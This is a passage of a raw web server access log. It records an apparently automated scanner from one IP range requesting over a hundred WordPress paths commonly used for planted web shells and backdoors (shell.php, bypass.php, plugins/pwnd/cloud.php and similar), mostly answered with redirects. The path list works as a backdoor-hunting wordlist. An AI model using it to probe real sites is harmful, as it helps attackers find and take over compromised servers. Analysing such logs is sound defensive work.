[22/Feb/2026:07:05:19 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:24 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:27 +0300] "GET /wp-conflg/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:32 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:36 +0300] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:42 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:47 +0300] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:50 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:51 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:56 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:01 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:05 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:10 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:15 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:16 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:21 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:26 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:31 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:36 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:40 +0300] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:45 +0300] "GET /fm.php/sts.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:50 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:51 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:51 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:52 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:57 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:06:57 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:02 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:07 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:12 +0300] "GET /wp-admin/admin-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:17 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:22 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:22 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:27 +0300] "GET /wp-admin/css/colors/blue/acxx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:32 +0300] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:37 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:42 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:42 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:47 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:52 +0300] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:57 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:57 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:07:57 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:00 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:01 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:01 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:06 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:11 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:15 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:19 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:24 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:29 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:30 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:35 +0300] "GET /wp-includes/css/dist/block-directory/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:35 +0300] "GET /wp-admin/m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:40 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:45 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:50 +0300] "GET /f.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:08:55 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:00 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:01 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:06 +0300] "GET /shell3.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:11 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:11 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:16 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/wp-good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:21 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:21 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:22 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:26 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:26 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:30 +0300] "GET /bk/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:35 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:39 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:41 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:45 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:49 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:49 +0300] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:49 +0300] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:52 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:09:57 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:02 +0300] "GET /chosen/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:07 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:08 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:08 +0300] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:13 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:14 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:14 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:18 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:19 +0300] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:23 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:26 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:31 +0300] "GET /wp-admin/js/widgets/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:36 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:36 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:41 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:45 +0300] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:50 +0300] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:10:55 +0300] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:00 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:05 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:05 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:05 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:10 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:15 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:20 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:24 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:27 +0300] "GET /wp-includes/blocks/post-author-name/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:28 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:32 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:32 +0300] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:35 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:40 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:45 +0300] "GET /wp-admin/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:49 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:50 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:50 +0300] "GET /wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:54 +0300] "GET /wp-content/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:57 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:11:58 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:03 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:08 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.157.158.178 - - [22/Feb/2026:06:36:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.203.23.7 - - [22/Feb/2026:07:13:50 +0300] "GET /wp-includes/blocks/navigation/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.7 - - [22/Feb/2026:07:13:50 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.18 - - [22/Feb/2026:07:14:20 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.235.65.113 - - [22/Feb/2026:06:15:29 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Website-info.net-Robot; https://website-info.net/robot)" 85.203.23.5 - - [22/Feb/2026:07:14:23 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.235.65.113 - - [22/Feb/2026:06:15:29 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Website-info.net-Robot; https://website-info.net/robot)" 85.235.65.113 - - [22/Feb/2026:06:15:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Website-info.net-Robot; https://website-info.net/robot)" 85.203.23.43 - - [22/Feb/2026:07:14:16 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:28 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:33 +0300] "GET /wp-cron-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:38 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:42 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:47 +0300] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:52 +0300] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:52 +0300] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:57 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:58 +0300] "GET /wp-content/wp-content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:03 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:08 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:11 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:14 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:15 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:15 +0300] "GET /wp-includes/blocks/image/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:20 +0300] "GET /wp-includes/assets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:25 +0300] "GET /wp-includes/blocks/details/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:29 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:33 +0300] "GET /contact.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:37 +0300] "GET /wp-includes/blocks/column/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:37 +0300] "GET /wp-includes/blocks/more/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:41 +0300] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:46 +0300] "GET /wp-includes/blocks/post-comments-form/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:46 +0300] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:50 +0300] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:51 +0300] "GET /wp-includes/blocks/post-template/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:51 +0300] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:15:56 +0300] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:00 +0300] "GET /wp-includes/blocks/site-title/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:06 +0300] "GET /wp-content/themes/covr-wpcom/assets/fonts/manrope.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:10 +0300] "GET /wp-includes/js/tinymce/plugins/wptextpattern/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:16 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:08 +0300] "GET /wp-admin/product.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:12 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:13 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:16 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:19 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:24 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:27 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:27 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:28 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:32 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:32 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:37 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:42 +0300] "GET /wp-includes/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:46 +0300] "GET /wp-includes/js/tinymce/plugins/colorpicker/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:47 +0300] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:52 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:12:57 +0300] "GET /wp-includes/Requests/src/Utility/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:02 +0300] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:07 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:10 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:15 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:20 +0300] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:20 +0300] "GET /option-old.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:25 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:30 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:35 +0300] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:13:40 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.20 - - [22/Feb/2026:07:14:01 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:06 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:14:06 +0300] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.45 - - [22/Feb/2026:07:13:45 +0300] "GET /woh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:20 +0300] "GET /wp-includes/blocks/site-tagline/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:21 +0300] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:26 +0300] "GET /wp-content/themes/twentytwentythree/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:26 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - 